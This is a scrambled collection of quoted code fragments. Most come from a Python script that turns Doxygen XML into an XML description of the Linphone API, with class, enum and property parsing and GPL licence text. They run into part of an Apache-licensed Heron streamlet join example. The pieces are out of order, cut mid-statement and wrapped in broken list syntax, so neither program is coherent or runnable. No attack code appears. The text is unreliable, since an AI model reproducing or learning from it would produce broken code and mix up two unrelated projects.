CArgumentsList() argslistNode = node.findall('./param') for argNode in argslistNode: argType", "= '' argNameNode = argNode.find('./declname') if argNameNode is not None:", "project.classes: self.__generateClass(cclass, classesNode) s = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\\n'.encode('utf-8') s", "= { 'name' : value.name, 'deprecated' : str(value.deprecated).lower() } valueNode", "'deprecated' : str(f.deprecated).lower() } if f.location is not None: functionAttributes['location']", "> 0: propertiesNode = ET.SubElement(classNode, 'properties') propnames = [] for", "\" \" + sm.name) self.__structs.append(elem) elif isinstance(elem, CTypedef): if self.verbose:", "Floor, Boston, MA 02110-1301, USA. import argparse import os import", "self.__addPropertySetter(name[4:], f) elif name.startswith('enable_') and len(f.arguments) == 2 and f.arguments[1].ctype", "deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: sm.deprecated =", "if cenum.associatedTypedef is not None: enumNodeAttributes['name'] = cenum.associatedTypedef.name enumNode =", "nodeName, functionAttributes) returnValueAttributes = { 'type' : f.returnArgument.ctype, 'completetype' :", "== '*': fullySplittedType.insert(-1, 'int') else: fullySplittedType.append('int') self.completeType = ' '.join(fullySplittedType)", "License, or (at your option) any later version. # #", "and f.endswith('.xml')) ] self.initFromFiles(files) def check(self): for c in self.classes:", "self.classes: if e.name.startswith(c.name): c.addEvent(e) eventAdded = True break for f", "to '\" + self.__outputfile.name + \"'\") apiNode = ET.Element('api') project.enums.sort(key", "if s == 'struct': isStruct = True if s ==", "\" + name) if pos != -1: definition = definition[0", "not None: self.ctype = st.associatedTypedef.name elif isEnum: for e in", "s in splittedType: if s.startswith('*'): fullySplittedType.append('*') if len(s) > 1:", "e in enums: if e.associatedTypedef is not None: self.ctype =", "in fullySplittedType: if fullySplittedType[-1] == '*': fullySplittedType.insert(-1, 'int') else: fullySplittedType.append('int')", "= node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: td.deprecated = True", "'instancemethods') methodnames = [] for methodname in cclass.instanceMethods: methodnames.append(methodname) methodnames.sort()", "td.definition[5:] == e.name: e.associatedTypedef = td break elif td.definition.startswith('struct '):", "has a setter but no getter\") class Generator: def __init__(self,", "'\" + name + \"' of class '\" + c.name", "def __findCFunction(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\") for m in memberdefs:", "if arg.containedType is not None: argumentNodeAttributes['containedtype'] = arg.containedType argumentNode =", "+ elem.name) print(\"\\t\" + elem.definition) self.__typedefs.append(elem) elif isinstance(elem, CEvent): if", "> 0: eventsNode = ET.SubElement(classNode, 'events') eventnames = [] for", "'ref': has_ref_method = True elif methodname_without_prefix == 'unref': has_unref_method =", "classNodeAttributes = { 'name' : cclass.name, 'cfunctionprefix' : cclass.cFunctionPrefix, 'deprecated'", "Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,", "def __init__(self, st): CObject.__init__(self, st.associatedTypedef.name) if st.deprecated or st.associatedTypedef.deprecated: self.deprecated", "None self.setter = None class CClass(CObject): def __init__(self, st): CObject.__init__(self,", "elif name.startswith('is_') and len(f.arguments) == 1 and f.returnArgument.ctype == 'bool_t':", "Project.__canBeWrapped(self, node): return None e = CEnum(node.find('./name').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\")", "node.find('./detaileddescription//donotwrap') is None def __discoverClasses(self): for td in self.__typedefs: if", "returndesc = node.find(\"./detaileddescription/para/simplesect[@kind='return']\") if returndesc is not None: if returnarg.ctype", "in project.enums: self.__generateEnum(cenum, enumsNode) if len(project.classes) > 0: classesNode =", "argparse.ArgumentParser(description=\"Generate XML version of the Linphone API.\") argparser.add_argument('-o', '--outputfile', metavar='outputfile',", "len(cclass.classMethods) > 0: classMethodsNode = ET.SubElement(classNode, 'classmethods') methodnames = []", "len(argslist) > 0: paramdescs = node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg", "if args.verbose: project.verbose = True if args.pretty: project.prettyPrint = True", "\"\\tReturn value is not documented\\n\" definition = definition[pos + 2", "definition = node.find('./definition').text t = definition[0:definition.find(structname + \"::\" + name)]", "None) and td.definition[5:] == e.name: e.associatedTypedef = td break elif", "by length of name (longest first), so that methods are", "= None def addMember(self, member): self.members.append(member) class CTypedef(CObject): def __init__(self,", "fullySplittedType.append(s[1:]) elif s.endswith('*'): fullySplittedType.append(s[:-1]) fullySplittedType.append('*') else: fullySplittedType.append(s) if 'MS2_DEPRECATED' in", "starPos != -1: argType = argdef[0 : starPos + 1]", "== 'bool_t': self.__addPropertyGetter(name, f) elif name.endswith('_enabled') and len(f.arguments) == 1", "not s in keywords: self.ctype = s if s ==", "\":\\n\" + missingDocWarning) f = CEvent(name, returnarg, argslist) deprecatedNode =", "'briefdescription') valueBriefDescriptionNode.text = value.briefDescription valueNode.append(value.detailedDescription) def __generateFunction(self, parentNode, nodeName, f):", "def __init__(self, name): self.name = name.strip() self.briefDescription = '' self.detailedDescription", "class \" + elem.name) self.classes.append(elem) elif isinstance(elem, CEnum): if self.verbose:", "cenum.name, 'deprecated' : str(cenum.deprecated).lower() } if cenum.associatedTypedef is not None:", "None: f.deprecated = True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription'))", "argNameNode = argNode.find('./declname') if argNameNode is not None: argName =", "cenum.values: enumValuesNodeAttributes = { 'name' : value.name, 'deprecated' : str(value.deprecated).lower()", "self.classes: if c.cFunctionPrefix == f.name[0 : len(c.cFunctionPrefix)]: c.addMethod(f) break def", "= ''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return sm", "metadoc.Parser() def add(self, elem): if isinstance(elem, CClass): if self.verbose: print(\"Adding", "c.name.endswith('Cbs') and e.name.startswith(c.name): c.addEvent(e) eventAdded = True break if not", "prop self.properties[name].setter = f def __addClassMethod(self, f): if not f.name", "for st in structs: if st.associatedTypedef is not None: self.ctype", "sm.ctype + \" \" + sm.name) self.__structs.append(elem) elif isinstance(elem, CTypedef):", "returndesc is not None: if returnarg.ctype == 'MSList' or returnarg.ctype", "CClass(st) cclass.briefDoc = td.briefDoc self.add(st) self.add(cclass) # Sort classes by", "== paramdesc.find('./parameternamelist').find('./parametername').text: if arg.ctype == 'MSList' or arg.ctype == 'bctbx_list_t':", "= f def __addClassMethod(self, f): if not f.name in self.classMethods:", "f in xmlfiles: tree = None try: if self.verbose: print(\"Parsing", "return None returntype = definition[0:pos].strip() returnarg = CArgument(returntype, enums =", "if methodname_without_prefix == 'ref': has_ref_method = True elif methodname_without_prefix ==", "print(\"\\t\" + elem.definition) self.__typedefs.append(elem) elif isinstance(elem, CEvent): if self.verbose: print(\"Adding", "= self.enums, structs = self.__structs) returndesc = node.find(\"./detaileddescription/para/simplesect[@kind='return']\") if returndesc", "[] self.__functions = [] self.classes = [] self.docparser = metadoc.Parser()", "\"\\t'\" + arg.name + \"' parameter not documented\\n\"; if missingDocWarning", "def __parseCFunctionMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None internal", "Boston, MA 02110-1301, USA. import argparse import os import six", "not None: self.detailedDescription = st.associatedTypedef.detailedDescription elif st.detailedDescription is not None:", "True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription'))", "__findCEnum(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\") for m in memberdefs: e", "1 :] argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist) > 0:", "('\" + f.location + \"')\\n\"; if missingDocWarning != '': print(name", "= None class CClass(CObject): def __init__(self, st): CObject.__init__(self, st.associatedTypedef.name) if", "= ET.SubElement(enumNode, 'values') for value in cenum.values: enumValuesNodeAttributes = {", "class has_ref_method = False has_unref_method = False has_destroy_method = False", "= ET.SubElement(classNode, 'events') eventnames = [] for eventname in cclass.events:", "= CProperty(name) self.properties[name] = prop self.properties[name].getter = f def __addPropertySetter(self,", "in memberdefs: e = self.__parseCEnumMemberdef(m) self.add(e) def __parseCStructMember(self, node, structname):", "str(cclass.deprecated).lower(), 'refcountable' : str(refcountable).lower(), 'destroyable' : str(destroyable).lower() } # Generate", "self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return f else: pos = definition.rfind(\"", "propname in cclass.properties: propnames.append(propname) propnames.sort() for propname in propnames: propertyNodeAttributes", "ET.SubElement(classNode, 'instancemethods') methodnames = [] for methodname in cclass.instanceMethods: methodnames.append(methodname)", "= node.find('./name').text definition = node.find('./definition').text if definition.startswith('typedef '): definition =", "has_unref_method = False has_destroy_method = False for methodname in cclass.instanceMethods:", "fullySplittedType = [] splittedType = t.strip().split(' ') for s in", "returnarg.containedType = n.text returnarg.description = self.__cleanDescription(returndesc) elif returnarg.completeType != 'void':", "elem.name) for sm in elem.members: print(\"\\t\" + sm.ctype + \"", "st.associatedTypedef.name) if st.deprecated or st.associatedTypedef.deprecated: self.deprecated = True if len(st.associatedTypedef.briefDescription)", "= False for st in self.__structs: if (st.associatedTypedef is None)", "argType = argdef[0 : starPos + 1] argName = argdef[starPos", "of the GNU General Public License # along with this", "and len(cclass.classMethods) == 0 and \\ len(cclass.instanceMethods) == 0 and", "fullySplittedType[-1] == '*': fullySplittedType.insert(-1, 'int') else: fullySplittedType.append('int') self.completeType = '", "True td.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription = self.__cleanDescription(node.find('./detaileddescription'))", "= initializer[1:] initializer.strip() return initializer def __parseCEnumValue(self, node): ev =", "def __parseCStructMember(self, node, structname): name = node.find('./name').text definition = node.find('./definition').text", "f.briefDescription != '': functionBriefDescriptionNode = ET.SubElement(functionNode, 'briefdescription') functionBriefDescriptionNode.text = f.briefDescription", "+ \"'\") apiNode = ET.Element('api') project.enums.sort(key = lambda e: e.name)", "s.addMember(sm) return s def __findCStruct(self, tree): compounddefs = tree.findall(\"./compounddef[@kind='struct'][@prot='public']\") for", "node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in argslist.arguments: for paramdesc in", "[] def addArgument(self, arg): self.arguments.append(arg) def __len__(self): return len(self.arguments) def", "if not f.location.endswith('.h'): missingDocWarning += \"\\tNot documented in a header", "__discoverClasses(self): for td in self.__typedefs: if td.definition.startswith('enum '): for e", "node): if not Project.__canBeWrapped(self, node): return None e = CEnum(node.find('./name').text)", "for eventname in eventnames: self.__generateFunction(eventsNode, 'event', cclass.events[eventname]) if len(cclass.classMethods) >", "methodnames: self.__generateFunction(classMethodsNode, 'classmethod', cclass.classMethods[methodname]) if len(cclass.instanceMethods) > 0: instanceMethodsNode =", "for arg in f.arguments: argumentNodeAttributes = { 'name' : arg.name,", "return ', '.join(argstr) class CFunction(CObject): def __init__(self, name, returnarg, argslist):", "None: returnValueAttributes['containedtype'] = f.returnArgument.containedType returnValueNode = ET.SubElement(functionNode, 'return', returnValueAttributes) if", "') if starPos != -1: argType = argdef[0 : starPos", "None: self.ctype = st.associatedTypedef.name elif isEnum: for e in enums:", "= True if has_destroy_method: destroyable = True classNodeAttributes = {", "elif name.startswith('enable_') and len(f.arguments) == 2 and f.arguments[1].ctype == 'bool_t':", "xmlfiles: tree = None try: if self.verbose: print(\"Parsing XML file:", "[] for eventname in cclass.events: eventnames.append(eventname) eventnames.sort() for eventname in", "arg.description is not None: argumentNode.append(arg.description) if f.briefDescription != '': functionBriefDescriptionNode", "argstr.append(str(arg)) return ', '.join(argstr) class CFunction(CObject): def __init__(self, name, returnarg,", "in self.classes: if c.name.endswith('Cbs') and e.name.startswith(c.name): c.addEvent(e) eventAdded = True", "of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See", "= ET.SubElement(enumsNode, 'enum', enumNodeAttributes) if cenum.briefDescription != '': enumBriefDescriptionNode =", "self.enums.append(elem) elif isinstance(elem, CStruct): if self.verbose: print(\"Adding struct \" +", "+ f.name) tree = ET.parse(f) except ET.ParseError as e: print(e)", "if args.pretty: project.prettyPrint = True project.initFromDir(args.xmldir) project.check() gen = Generator(args.outputfile)", "for paramdesc in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: if arg.ctype", "if not initializer.startswith('='): return None initializer = initializer[1:] initializer.strip() return", "in enumvalues: ev = self.__parseCEnumValue(enumvalue) e.addValue(ev) return e def __findCEnum(self,", "name = f.name[len(self.cFunctionPrefix):] if name.startswith('get_') and len(f.arguments) == 1: self.__addPropertyGetter(name[4:],", "name, returnarg, argslist): CObject.__init__(self, name) self.returnArgument = returnarg self.arguments =", "Public License # as published by the Free Software Foundation;", "not documented\\n\" argslist = CArgumentsList() argslistNode = node.findall('./param') for argNode", "not None: enumNodeAttributes['name'] = cenum.associatedTypedef.name enumNode = ET.SubElement(enumsNode, 'enum', enumNodeAttributes)", "None: ev.deprecated = True ev.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc = self.docparser.parse_description(node.find('./briefdescription'))", "definition.rfind(\" \" + name) if pos != -1: definition =", "True break if not structFound: name = td.definition[7:] print(\"Structure with", "and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.endswith('_enabled') and len(f.arguments)", "(st.associatedTypedef is None) and td.definition[7:] == st.name: st.associatedTypedef = td", "XML version of the Linphone API.\") argparser.add_argument('-o', '--outputfile', metavar='outputfile', type=argparse.FileType('w'),", "isStruct: for st in structs: if st.associatedTypedef is not None:", "e = self.__parseCEnumMemberdef(m) self.add(e) def __parseCStructMember(self, node, structname): name =", "'utf-8') if project.prettyPrint: s = minidom.parseString(s).toprettyxml(indent='\\t') self.__outputfile.write(s) def main(argv =", "= td.briefDoc self.add(cclass) break elif ('Linphone' + td.definition) == td.name:", "if deprecatedNode is not None: s.deprecated = True s.briefDescription =", "if starPos != -1: argType = argdef[0 : starPos +", "argumentNodeAttributes = { 'name' : arg.name, 'type' : arg.ctype, 'completetype'", "self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return sm def __parseCStructCompounddef(self, node): s", "+ name) st = CStruct(name) st.associatedTypedef = td self.add(st) for", "__findCStruct(self, tree): compounddefs = tree.findall(\"./compounddef[@kind='struct'][@prot='public']\") for c in compounddefs: s", "as published by the Free Software Foundation; either version 2", "eg. for 'unsigned short' for s in fullySplittedType: if not", "compounddefs = tree.findall(\"./compounddef[@kind='struct'][@prot='public']\") for c in compounddefs: s = self.__parseCStructCompounddef(c)", "CTypedef): if self.verbose: print(\"Adding typedef \" + elem.name) print(\"\\t\" +", "name.startswith('is_') and len(f.arguments) == 1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name,", "enumvalues = node.findall(\"enumvalue[@prot='public']\") for enumvalue in enumvalues: ev = self.__parseCEnumValue(enumvalue)", "+ 1 :] elif spacePos != -1: argType = argdef[0", "'event', cclass.events[eventname]) if len(cclass.classMethods) > 0: classMethodsNode = ET.SubElement(classNode, 'classmethods')", "\" + name) st = CStruct(name) st.associatedTypedef = td self.add(st)", "> 0: paramdescs = node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in", "= None): if argv is None: argv = sys.argv argparser", "not None: return None missingDocWarning = '' name = node.find('./name').text", "= st.detailedDescription self.__struct = st self.events = {} self.classMethods =", "e.associatedTypedef is not None: self.ctype = e.associatedTypedef.name if self.ctype ==", "project): print(\"Generating XML document of Linphone API to '\" +", "elif methodname_without_prefix == 'unref': has_unref_method = True elif methodname_without_prefix ==", "# modify it under the terms of the GNU General", "n = returndesc.find('.//bctbxlist') if n is not None: returnarg.containedType =", "sm = self.__parseCStructMember(structmember, s.name) s.addMember(sm) return s def __findCStruct(self, tree):", "= None self.containedType = None keywords = [ 'const', 'struct',", "def __init__(self, name, t): CObject.__init__(self, name) self.ctype = t.strip() class", "= True ev.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription =", "argdef[starPos + 1 :] elif spacePos != -1: argType =", "the GNU General Public License # along with this program;", "02110-1301, USA. import argparse import os import six import string", "= self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) enumvalues = node.findall(\"enumvalue[@prot='public']\") for enumvalue", "'long', '*' ] fullySplittedType = [] splittedType = t.strip().split(' ')", "+ elem.definition) self.__typedefs.append(elem) elif isinstance(elem, CEvent): if self.verbose: print(\"Adding event", "self.cFunctionPrefix += '_' def __addPropertyGetter(self, name, f): if not name", "0: paramdescs = node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in argslist.arguments:", "if p.getter is None and p.setter is not None: print(\"Property", "argstr = [] for arg in self.arguments: argstr.append(str(arg)) return ',", "elif isinstance(elem, CFunction): if self.verbose: print(\"Adding function \" + elem.name)", "# along with this program; if not, write to the", "memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\") for m in memberdefs: td = self.__parseCTypedefMemberdef(m)", "arg): self.arguments.append(arg) def __len__(self): return len(self.arguments) def __getitem__(self, key): return", "'properties') propnames = [] for propname in cclass.properties: propnames.append(propname) propnames.sort()", "node.findall(\"enumvalue[@prot='public']\") for enumvalue in enumvalues: ev = self.__parseCEnumValue(enumvalue) e.addValue(ev) return", "def __generateFunction(self, parentNode, nodeName, f): functionAttributes = { 'name' :", "if f.location is not None: functionAttributes['location'] = f.location functionNode =", "+= l.lower() first = False self.cFunctionPrefix += '_' def __addPropertyGetter(self,", "None try: if self.verbose: print(\"Parsing XML file: \" + f.name)", "for 'unsigned short' for s in fullySplittedType: if not s", "def __str__(self): argstr = [] for arg in self.arguments: argstr.append(str(arg))", "None: ev.value = self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is", "returnarg = CArgument(t, enums = self.enums, structs = self.__structs) returndesc", "n = paramdesc.find('.//bctbxlist') if n is not None: arg.containedType =", "in cclass.events: eventnames.append(eventname) eventnames.sort() for eventname in eventnames: self.__generateFunction(eventsNode, 'event',", "propertyNodeAttributes) if cclass.properties[propname].getter is not None: self.__generateFunction(propertyNode, 'getter', cclass.properties[propname].getter) if", "class Generator: def __init__(self, outputfile): self.__outputfile = outputfile def __generateEnum(self,", "if len(cclass.properties) > 0: propertiesNode = ET.SubElement(classNode, 'properties') propnames =", "= self.__cleanDescription(node.find('./detaileddescription')) return f else: pos = definition.rfind(\" \" +", "in self.__structs: if (st.associatedTypedef is None) and td.definition[7:] == st.name:", "instanceMethodsNode = ET.SubElement(classNode, 'instancemethods') methodnames = [] for methodname in", "c.addEvent(e) eventAdded = True break for f in self.__functions: for", "valueNode = ET.SubElement(enumValuesNode, 'value', enumValuesNodeAttributes) if value.briefDescription != '': valueBriefDescriptionNode", "and len(f.arguments) == 1: self.__addPropertyGetter(name[4:], f) elif name.startswith('is_') and len(f.arguments)", "ET.Element('api') project.enums.sort(key = lambda e: e.name) if len(project.enums) > 0:", "None: return None missingDocWarning = '' name = node.find('./name').text t", "f def __addClassMethod(self, f): if not f.name in self.classMethods: self.classMethods[f.name]", "[] for propname in cclass.properties: propnames.append(propname) propnames.sort() for propname in", "para in descriptionNode.findall('./para'): for n in para.findall('./parameterlist'): para.remove(n) for n", "event \" + elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments: \"", "isEnum = False self.ctype = 'int' # Default to int", "structmembers: sm = self.__parseCStructMember(structmember, s.name) s.addMember(sm) return s def __findCStruct(self,", "0: self.briefDescription = st.briefDescription if st.associatedTypedef.detailedDescription is not None: self.detailedDescription", "for name, p in six.iteritems(c.properties): if p.getter is None and", "= node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\") for structmember in structmembers: sm = self.__parseCStructMember(structmember, s.name)", "f.returnArgument.containedType returnValueNode = ET.SubElement(functionNode, 'return', returnValueAttributes) if f.returnArgument.description is not", "class CEnum(CObject): def __init__(self, name): CObject.__init__(self, name) self.values = []", "for arg in self.arguments: argstr.append(str(arg)) return ', '.join(argstr) class CFunction(CObject):", "if td.definition.startswith('enum '): for e in self.enums: if (e.associatedTypedef is", "the capabilities of the class has_ref_method = False has_unref_method =", "''.join(f.detailedDescription.itertext()).strip() == '': return None locationNode = node.find('./location') if locationNode", "self.classes.sort(key = lambda c: len(c.name), reverse = True) for e", "if self.verbose: print(\"Adding function \" + elem.name) print(\"\\tReturns: \" +", "return len(self.arguments) def __getitem__(self, key): return self.arguments[key] def __str__(self): argstr", "if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = ''", "class CClass(CObject): def __init__(self, st): CObject.__init__(self, st.associatedTypedef.name) if st.deprecated or", "''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return sm def", "in xmlfiles: tree = None try: if self.verbose: print(\"Parsing XML", "-1: argType = argdef[0 : starPos + 1] argName =", "with this program; if not, write to the Free Software", "if f is not None: self.add(f) def initFromFiles(self, xmlfiles): trees", "def add(self, elem): if isinstance(elem, CClass): if self.verbose: print(\"Adding class", "# # You should have received a copy of the", "None: argumentNodeAttributes['containedtype'] = arg.containedType argumentNode = ET.SubElement(argumentsNode, 'argument', argumentNodeAttributes) if", "self.__structs: if (st.associatedTypedef is None) and td.definition[7:] == st.name: st.associatedTypedef", "CTypedef(CObject): def __init__(self, name, definition): CObject.__init__(self, name) self.definition = definition.strip()", "without even the implied warranty of # MERCHANTABILITY or FITNESS" ]
[ "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "OF ANY # KIND, either express or implied. See the", "-*- encoding: utf-8 -*- # Licensed to the Apache Software", "Software Foundation (ASF) under one # or more contributor license", "more contributor license agreements. See the NOTICE file # distributed", "Unless required by applicable law or agreed to in writing,", "ArrayLooper # pylint: disable=superfluous-parens if __name__ == '__main__': if len(sys.argv)", "builder = Builder() source_1 = builder.new_source(ArrayLooper([[\"key1\", \"a\"], [\"key1\", \"b\"]], sleep=1))", "disable=superfluous-parens if __name__ == '__main__': if len(sys.argv) != 2: print(\"Topology's", "an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF", "# regarding copyright ownership. The ASF licenses this file #", "Apache Software Foundation (ASF) under one # or more contributor", "in compliance # with the License. You may obtain a", "# to you under the Apache License, Version 2.0 (the", "python # -*- encoding: utf-8 -*- # Licensed to the", "utf-8 -*- # Licensed to the Apache Software Foundation (ASF)", "WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express", "WARRANTIES OR CONDITIONS OF ANY # KIND, either express or", "with this work for additional information # regarding copyright ownership.", "License for the # specific language governing permissions and limitations", "import sys from heronpy.streamlet.builder import Builder from heronpy.streamlet.runner import Runner", "import Builder from heronpy.streamlet.runner import Runner from heronpy.streamlet.config import Config", "(ASF) under one # or more contributor license agreements. See", "2.0 (the # \"License\"); you may not use this file", "OR CONDITIONS OF ANY # KIND, either express or implied.", "Config from heronpy.streamlet.windowconfig import WindowConfig from heronpy.connectors.mock.arraylooper import ArrayLooper #", "# pylint: disable=superfluous-parens if __name__ == '__main__': if len(sys.argv) !=", "not specified\") sys.exit(1) builder = Builder() source_1 = builder.new_source(ArrayLooper([[\"key1\", \"a\"],", "y: x + y).log() runner = Runner() config = Config()", "# or more contributor license agreements. See the NOTICE file", "= builder.new_source(ArrayLooper([[\"key1\", \"a\"], [\"key1\", \"b\"]], sleep=1)) source_2 = builder.new_source(ArrayLooper([[\"key1\", \"c\"],", "agreed to in writing, # software distributed under the License", "\"a\"], [\"key1\", \"b\"]], sleep=1)) source_2 = builder.new_source(ArrayLooper([[\"key1\", \"c\"], [\"key1\", \"d\"]],", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "work for additional information # regarding copyright ownership. The ASF", "heronpy.streamlet.runner import Runner from heronpy.streamlet.config import Config from heronpy.streamlet.windowconfig import", "specific language governing permissions and limitations # under the License.", "source_1.join(source_2, WindowConfig.create_sliding_window(2, 1), lambda x, y: x + y).log() runner", "under the License is distributed on an # \"AS IS\"", "this file # to you under the Apache License, Version", "distributed under the License is distributed on an # \"AS", "BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either", "print(\"Topology's name is not specified\") sys.exit(1) builder = Builder() source_1", "copyright ownership. The ASF licenses this file # to you", "x + y).log() runner = Runner() config = Config() runner.run(sys.argv[1],", "limitations # under the License. '''join_streamlet_topology.py: module is an example", "sys.exit(1) builder = Builder() source_1 = builder.new_source(ArrayLooper([[\"key1\", \"a\"], [\"key1\", \"b\"]],", "# software distributed under the License is distributed on an", "from heronpy.connectors.mock.arraylooper import ArrayLooper # pylint: disable=superfluous-parens if __name__ ==", "sleep=1)) source_2 = builder.new_source(ArrayLooper([[\"key1\", \"c\"], [\"key1\", \"d\"]], sleep=1)) source_1.join(source_2, WindowConfig.create_sliding_window(2,", "governing permissions and limitations # under the License. '''join_streamlet_topology.py: module", "pylint: disable=superfluous-parens if __name__ == '__main__': if len(sys.argv) != 2:", "1), lambda x, y: x + y).log() runner = Runner()", "\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY #", "[\"key1\", \"b\"]], sleep=1)) source_2 = builder.new_source(ArrayLooper([[\"key1\", \"c\"], [\"key1\", \"d\"]], sleep=1))", "(the # \"License\"); you may not use this file except", "the License. You may obtain a copy of the License", "in writing, # software distributed under the License is distributed", "the join operator''' import sys from heronpy.streamlet.builder import Builder from", "sleep=1)) source_1.join(source_2, WindowConfig.create_sliding_window(2, 1), lambda x, y: x + y).log()", "distributed with this work for additional information # regarding copyright", "an example of how to use the join operator''' import", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "import ArrayLooper # pylint: disable=superfluous-parens if __name__ == '__main__': if", "License is distributed on an # \"AS IS\" BASIS, WITHOUT", "ASF licenses this file # to you under the Apache", "<filename>examples/src/python/join_streamlet_topology.py #!/usr/bin/env python # -*- encoding: utf-8 -*- # Licensed", "under the Apache License, Version 2.0 (the # \"License\"); you", "for the # specific language governing permissions and limitations #", "'__main__': if len(sys.argv) != 2: print(\"Topology's name is not specified\")", "distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR", "on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS", "regarding copyright ownership. The ASF licenses this file # to", "See the License for the # specific language governing permissions", "to in writing, # software distributed under the License is", "or agreed to in writing, # software distributed under the", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "join operator''' import sys from heronpy.streamlet.builder import Builder from heronpy.streamlet.runner", "#!/usr/bin/env python # -*- encoding: utf-8 -*- # Licensed to", "ownership. The ASF licenses this file # to you under", "use the join operator''' import sys from heronpy.streamlet.builder import Builder", "y).log() runner = Runner() config = Config() runner.run(sys.argv[1], config, builder)", "language governing permissions and limitations # under the License. '''join_streamlet_topology.py:", "# \"License\"); you may not use this file except in", "example of how to use the join operator''' import sys", "from heronpy.streamlet.config import Config from heronpy.streamlet.windowconfig import WindowConfig from heronpy.connectors.mock.arraylooper", "# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY", "to the Apache Software Foundation (ASF) under one # or", "\"License\"); you may not use this file except in compliance", "file # distributed with this work for additional information #", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "'''join_streamlet_topology.py: module is an example of how to use the", "if __name__ == '__main__': if len(sys.argv) != 2: print(\"Topology's name", "= Builder() source_1 = builder.new_source(ArrayLooper([[\"key1\", \"a\"], [\"key1\", \"b\"]], sleep=1)) source_2", "lambda x, y: x + y).log() runner = Runner() config", "with the License. You may obtain a copy of the", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "or more contributor license agreements. See the NOTICE file #", "is not specified\") sys.exit(1) builder = Builder() source_1 = builder.new_source(ArrayLooper([[\"key1\",", "source_2 = builder.new_source(ArrayLooper([[\"key1\", \"c\"], [\"key1\", \"d\"]], sleep=1)) source_1.join(source_2, WindowConfig.create_sliding_window(2, 1),", "applicable law or agreed to in writing, # software distributed", "# distributed with this work for additional information # regarding", "this work for additional information # regarding copyright ownership. The", "specified\") sys.exit(1) builder = Builder() source_1 = builder.new_source(ArrayLooper([[\"key1\", \"a\"], [\"key1\",", "writing, # software distributed under the License is distributed on", "how to use the join operator''' import sys from heronpy.streamlet.builder", "the NOTICE file # distributed with this work for additional", "under the License. '''join_streamlet_topology.py: module is an example of how", "Runner from heronpy.streamlet.config import Config from heronpy.streamlet.windowconfig import WindowConfig from", "heronpy.streamlet.config import Config from heronpy.streamlet.windowconfig import WindowConfig from heronpy.connectors.mock.arraylooper import", "sys from heronpy.streamlet.builder import Builder from heronpy.streamlet.runner import Runner from", "from heronpy.streamlet.builder import Builder from heronpy.streamlet.runner import Runner from heronpy.streamlet.config", "is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES", "implied. See the License for the # specific language governing", "file # to you under the Apache License, Version 2.0", "# -*- encoding: utf-8 -*- # Licensed to the Apache", "to you under the Apache License, 